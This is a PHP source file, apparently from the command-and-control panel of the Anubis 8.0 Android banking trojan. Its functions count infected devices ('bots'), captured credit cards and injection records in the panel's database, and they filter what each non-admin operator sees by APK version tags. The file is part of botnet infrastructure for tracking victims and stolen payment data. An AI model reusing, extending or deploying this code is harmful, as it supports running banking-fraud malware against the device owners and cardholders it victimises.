Files
Anubis-8.0/anubis/application/utils/utils.php
T
2026-08-27 10:50:54 -06:00

204 lines
4.4 KiB
PHP

<?php
class functions{
function getBots(){
$CountBots = 0;
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM kliets";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
foreach($connection->query($sql) as $row){
$country = $row['country'];
$version_apk = $row['version_apk'];
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tag)
{
if($version_apk == $tag)
{
if($tag!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$CountBots++;
}
return $CountBots;
}
function getCards(){
$CountCards = 0;
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM cc";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$sql = "SELECT imei FROM cc";
foreach($connection->query($sql) as $row)
{
$imei = $row['imei'];
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection2->exec('SET NAMES utf8');
$sql2 = "SELECT IMEI, version_apk FROM kliets";
foreach($connection2->query($sql2) as $row2)
{
if($row2['IMEI'] == $imei)
{
$tag = $row2['version_apk'];
break;
}
}
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$CountCards++;
}
return $CountCards;
}
function getInjections(){
$CountInj = 0;
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT version_apk, country, lastConnect, firstConnect FROM cc";
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$privateTag = explode(",", $tags[1]);
/****************************/
$sql = "SELECT idbot FROM injs";
foreach($connection->query($sql) as $row)
{
$imei = $row['idbot'];
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection2->exec('SET NAMES utf8');
$sql2 = "SELECT IMEI, version_apk FROM kliets";
foreach($connection2->query($sql2) as $row2)
{
if($row2['IMEI'] == $imei)
{
$tag = $row2['version_apk'];
break;
}
}
if($_SESSION['panel_right']!="admin")//Ограничение по тегам
{
$boolContinue=true;
if($tags[0]!=",")
{
foreach($thisTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if($boolContinue)continue;
}
else
{
foreach($privateTag as $tagZ)
{
if($tag == $tagZ)
{
if($tagZ!="")
{
$boolContinue=false;
break;
}
}
}
if(!$boolContinue)continue;
}
}//---------------
$CountInj++;
}
return $CountInj;
}
}